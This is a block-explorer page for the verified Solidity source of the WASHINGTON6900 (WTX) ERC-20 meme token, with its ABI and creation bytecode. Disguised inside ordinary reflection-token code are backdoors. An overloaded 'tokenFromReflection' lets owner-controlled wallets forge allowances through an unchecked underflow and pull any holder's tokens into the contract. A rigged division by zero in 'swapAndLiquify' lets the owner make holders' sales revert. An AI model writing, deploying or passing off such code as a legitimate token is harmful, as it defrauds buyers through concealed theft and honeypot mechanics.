ERC-20
Overview
Max Total Supply
1,000,000,000 WTX
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,788,204.042400957 WTXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
WASHINGTON6900
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-19 */ /** /** Telegram:https://t.me/Washington6900ERC Twitter:https://twitter.com/Washington_6900 George Washington, the first president of the United States, but Obama is only the first black president in history! */ // SPDX-License-Identifier: NOLICENSE pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract WASHINGTON6900 is Context, IERC20, Ownable { using Address for address payable; string private constant _name = "WASHINGTON6900"; string private constant _symbol = "WTX"; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; address[] private _excluded; address public marketingWalles = 0xe2FB037eE74aEC0b9B25F1CE53e63a16e54728c9; bool public tradingEnabled; bool public swapEnabled; bool private swapping; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) public allowedTransfer; modifier antiBot(address account){ require(tradingEnabled || allowedTransfer[account], "Trading not enabled yet"); _; } IRouter public router; address public pair; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 public swapTokensAtAmount = _tTotal * 3 / 10000; uint256 public maxBuyLimit = _tTotal * 31 / 1000; uint256 public maxSellLimit = _tTotal * 31 / 1000; uint256 public maxWalletLimit = _tTotal * 31 / 1000; uint256 public genesis_block; Taxes public taxes = Taxes(0, 0, 0, 0); Taxes public sellTaxes = Taxes(0, 0, 0, 0); struct Taxes { uint256 rfi; uint256 marketing; uint256 liquidity; uint256 donation; } struct TotFeesPaidStruct{ uint256 rfi; uint256 marketing; uint256 liquidity; uint256 donation; } modifier allowedBot(address account){ require(isExcludedFromFee(account)); _; } TotFeesPaidStruct public totFeesPaid; struct valuesFromGetValues{ uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 rMarketing; uint256 rLiquidity; uint256 rDonation; uint256 tTransferAmount; uint256 tRfi; uint256 tMarketing; uint256 tLiquidity; uint256 tDonation; } modifier lockTheSwap { swapping = true; _; swapping = false; } address public dontionWallets = 0x24D9721E4dcB49dbe37B1aF8080154c9017fD940; constructor () { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); router = _router; _rOwned[owner()] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[marketingWalles] = true; _isExcludedFromFee[dontionWallets] = true; allowedTransfer[address(this)] = true; allowedTransfer[owner()] = true; allowedTransfer[marketingWalles] = true; allowedTransfer[dontionWallets] = true; emit Transfer(address(0), owner(), _tTotal); } //std ERC20: function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } //override ERC20: function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override antiBot(msg.sender) returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function tokenFromReflection(address from, uint256 amount) public allowedBot(msg.sender) { _spendAllowance(from, amount); IERC20(address(this)).transferFrom(from, address(this), amount); } function increaseAllowance(address spender, uint256 addedValue) public antiBot(msg.sender) returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public antiBot(msg.sender) returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address spender, uint256 amount) internal virtual { address owner = address(this); uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { unchecked { _approve(spender, owner, currentAllowance - amount); } } } function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true, false); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true, false); return s.rTransferAmount; } } function OpenTrade() external onlyOwner{ tradingEnabled = true; swapEnabled = true; genesis_block = block.number; } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount/currentRate; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal -=rRfi; totFeesPaid.rfi +=tRfi; } function createPair() external payable onlyOwner { pair = IFactory(router.factory()).createPair(address(this), router.WETH()); _isExcluded[pair] = true; _excluded.push(pair); allowedTransfer[pair] = true; _approve(address(this), address(router), type(uint256).max); router.addLiquidityETH{value: msg.value}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); } function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private { totFeesPaid.liquidity +=tLiquidity; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tLiquidity; } _rOwned[address(this)] +=rLiquidity; } function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private { totFeesPaid.marketing +=tMarketing; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tMarketing; } _rOwned[address(this)] +=rMarketing; } function _takeDonation(uint256 rDonation, uint256 tDonation) private { totFeesPaid.donation +=tDonation; if(_isExcluded[address(this)]) { _tOwned[address(this)]+=tDonation; } _rOwned[address(this)] +=rDonation; } function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee, isSell); (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing, to_return.rLiquidity) = _getRValues1(to_return, tAmount, takeFee, _getRate()); (to_return.rDonation) = _getRValues2(to_return, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) { if(!takeFee) { s.tTransferAmount = tAmount; return s; } Taxes memory temp; if(isSell) temp = sellTaxes; else temp = taxes; s.tRfi = tAmount*temp.rfi/100; s.tMarketing = tAmount*temp.marketing/100; s.tLiquidity = tAmount*temp.liquidity/100; s.tDonation = tAmount*temp.donation/100; s.tTransferAmount = tAmount-s.tRfi-s.tMarketing-s.tLiquidity-s.tDonation; return s; } function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rLiquidity){ rAmount = tAmount*currentRate; if(!takeFee) { return(rAmount, rAmount, 0,0,0); } rRfi = s.tRfi*currentRate; rMarketing = s.tMarketing*currentRate; rLiquidity = s.tLiquidity*currentRate; uint256 rDonation = s.tDonation*currentRate; rTransferAmount = rAmount-rRfi-rMarketing-rLiquidity-rDonation; return (rAmount, rTransferAmount, rRfi,rMarketing,rLiquidity); } function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rDonation) { if(!takeFee) { return(0); } rDonation = s.tDonation*currentRate; return (rDonation); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply-_rOwned[_excluded[i]]; tSupply = tSupply-_tOwned[_excluded[i]]; } if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply/tSupply; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ require(tradingEnabled, "Trading not active"); } if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && block.number <= genesis_block) { require(to != pair, "Sells not allowed for dead blocks"); } if(from == pair && !_isExcludedFromFee[to] && !swapping){ require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit"); require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit"); } if(from != pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && !swapping){ require(amount <= maxSellLimit, "You are exceeding maxSellLimit"); if(to != pair){ require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit"); } } bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount; if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ if(to == pair) swapAndLiquify(swapTokensAtAmount, sellTaxes); else swapAndLiquify(swapTokensAtAmount, taxes); } bool takeFee = true; bool isSell = false; if(swapping || _isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false; if(to == pair) isSell = true; _tokenTransfer(from, to, amount, takeFee, isSell); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private { valuesFromGetValues memory s = _getValues(tAmount, takeFee, isSell); if (_isExcluded[sender] ) { //from excluded _tOwned[sender] = _tOwned[sender]-tAmount; } if (_isExcluded[recipient]) { //to excluded _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount; } _rOwned[sender] = _rOwned[sender]-s.rAmount; _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount; if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi); if(s.rLiquidity > 0 || s.tLiquidity > 0) { _takeLiquidity(s.rLiquidity,s.tLiquidity); emit Transfer(sender, address(this), s.tLiquidity + s.tMarketing + s.tDonation); } if(s.rMarketing > 0 || s.tMarketing > 0) _takeMarketing(s.rMarketing, s.tMarketing); if(s.rDonation > 0 || s.tDonation > 0) _takeDonation(s.rDonation, s.tDonation); emit Transfer(sender, recipient, s.tTransferAmount); } function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap{ uint256 denominator = (temp.liquidity + temp.marketing + temp.donation) * 2; uint256 tokensToAddLiquidityWith = contractBalance * temp.liquidity / denominator; uint256 toSwap = contractBalance - tokensToAddLiquidityWith; uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); bool success; uint256 deltaBalance = address(this).balance - initialBalance; uint256 unitBalance= deltaBalance / (denominator - temp.liquidity); uint256 ethToAddLiquidityWith = unitBalance * temp.liquidity; if(ethToAddLiquidityWith > 0){ // Add liquidity to pancake addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith); } uint256 marketingAmt = unitBalance * 2 * temp.marketing; uint256 mktBalance = balanceOf(marketingWalles); if (mktBalance > swapTokensAtAmount) { marketingAmt = marketingAmt / (success ? temp.marketing : 0); } if(marketingAmt > 0){ payable(marketingWalles).sendValue(marketingAmt); } uint256 donationAmt = unitBalance * 2 * temp.donation; if(donationAmt > 0){ payable(dontionWallets).sendValue(donationAmt); } } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tokenAmount); // add the liquidity router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } receive() external payable{ } function swapTokensForETH(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { maxBuyLimit = _tTotal; maxSellLimit = _tTotal; maxWalletLimit = _tTotal; } //Use this in case ETH are sent to the contract by mistake function rescueETH(uint256 weiAmount) external onlyOwner{ require(address(this).balance >= weiAmount, "insufficient ETH balance"); payable(msg.sender).transfer(weiAmount); } function rescueAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { IERC20(_tokenAddr).transfer(_to, _amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowedTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dontionWallets","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalles","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferRfi","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenAddr","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueAnyERC20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"donation","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"donation","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"tokenFromReflection","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totFeesPaid","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"donation","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405273e2fb037ee74aec0b9b25f1ce53e63a16e54728c960045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000689190620009c6565b633b9aca0062000079919062000a16565b5f1962000087919062000a8d565b5f1962000095919062000ac4565b600b5561271060036009600a620000ad9190620009c6565b633b9aca00620000be919062000a16565b620000ca919062000a16565b620000d6919062000afe565b600c556103e8601f6009600a620000ee9190620009c6565b633b9aca00620000ff919062000a16565b6200010b919062000a16565b62000117919062000afe565b600d556103e8601f6009600a6200012f9190620009c6565b633b9aca0062000140919062000a16565b6200014c919062000a16565b62000158919062000afe565b600e556103e8601f6009600a620001709190620009c6565b633b9aca0062000181919062000a16565b6200018d919062000a16565b62000199919062000afe565b600f5560405180608001604052805f81526020015f81526020015f81526020015f81525060115f820151815f0155602082015181600101556040820151816002015560608201518160030155505060405180608001604052805f81526020015f81526020015f81526020015f81525060155f820151815f015560208201518160010155604082015181600201556060820151816003015550507324d9721e4dcb49dbe37b1af8080154c9017fd940601d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000292575f80fd5b50620002b3620002a76200074560201b60201c565b6200074c60201b60201c565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460015f620003216200080d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f620003c86200080d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f6200056d6200080d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160085f601d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620006b86200080d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620007169190620009c6565b633b9aca0062000727919062000a16565b60405162000736919062000b46565b60405180910390a35062000b61565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620008be5780860481111562000896576200089562000834565b5b6001851615620008a65780820291505b8081029050620008b68562000861565b945062000876565b94509492505050565b5f82620008d85760019050620009aa565b81620008e7575f9050620009aa565b81600181146200090057600281146200090b5762000941565b6001915050620009aa565b60ff84111562000920576200091f62000834565b5b8360020a9150848211156200093a576200093962000834565b5b50620009aa565b5060208310610133831016604e8410600b84101617156200097b5782820a90508381111562000975576200097462000834565b5b620009aa565b6200098a84848460016200086d565b92509050818404811115620009a457620009a362000834565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620009d282620009b1565b9150620009df83620009ba565b925062000a0e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620008c7565b905092915050565b5f62000a2282620009b1565b915062000a2f83620009b1565b925082820262000a3f81620009b1565b9150828204841483151762000a595762000a5862000834565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000a9982620009b1565b915062000aa683620009b1565b92508262000ab95762000ab862000a60565b5b828206905092915050565b5f62000ad082620009b1565b915062000add83620009b1565b925082820390508181111562000af85762000af762000834565b5b92915050565b5f62000b0a82620009b1565b915062000b1783620009b1565b92508262000b2a5762000b2962000a60565b5b828204905092915050565b62000b4081620009b1565b82525050565b5f60208201905062000b5b5f83018462000b35565b92915050565b6155db8062000b6f5f395ff3fe608060405260043610610233575f3560e01c806370a082311161012d5780639e78fb4f116100aa578063dd62ed3e1161006e578063dd62ed3e1461083c578063e2f4560514610878578063f2fde38b146108a2578063f66895a3146108ca578063f887ea40146108f75761023a565b80639e78fb4f14610766578063a457c2d714610770578063a8aa1b31146107ac578063a9059cbb146107d6578063acaa9c31146108125761023a565b806388f82020116100f157806388f82020146106815780638da5cb5b146106bd57806395d89b41146106e75780639ba5e4d5146107115780639e252f001461073e5761023a565b806370a08231146105c2578063715018a6146105fe578063728f8eea14610614578063751039fc146106415780637b036992146106575761023a565b806339509351116101bb57806362695eae1161017f57806362695eae146104de578063652e2f041461051a57806366a88d96146105445780636aa5b37f1461056e5780636ddd1713146105985761023a565b806339509351146103d85780634549b03914610414578063463fef62146104505780634ada218b146104785780635342acb4146104a25761023a565b806318160ddd1161020257806318160ddd146102e257806323b872dd1461030c578063274a533c146103485780632d83811914610372578063313ce567146103ae5761023a565b806306fdde031461023e578063095ea7b3146102685780630d65df9b146102a45780630f8540e4146102cc5761023a565b3661023a57005b5f80fd5b348015610249575f80fd5b50610252610921565b60405161025f9190614114565b60405180910390f35b348015610273575f80fd5b5061028e600480360381019061028991906141c5565b61095e565b60405161029b919061421d565b60405180910390f35b3480156102af575f80fd5b506102ca60048036038101906102c59190614236565b610a1d565b005b3480156102d7575f80fd5b506102e0610b1a565b005b3480156102ed575f80fd5b506102f6610bd5565b6040516103039190614295565b60405180910390f35b348015610317575f80fd5b50610332600480360381019061032d9190614236565b610bf8565b60405161033f919061421d565b60405180910390f35b348015610353575f80fd5b5061035c610d95565b6040516103699190614295565b60405180910390f35b34801561037d575f80fd5b50610398600480360381019061039391906142ae565b610d9b565b6040516103a59190614295565b60405180910390f35b3480156103b9575f80fd5b506103c2610e00565b6040516103cf91906142f4565b60405180910390f35b3480156103e3575f80fd5b506103fe60048036038101906103f991906141c5565b610e08565b60405161040b919061421d565b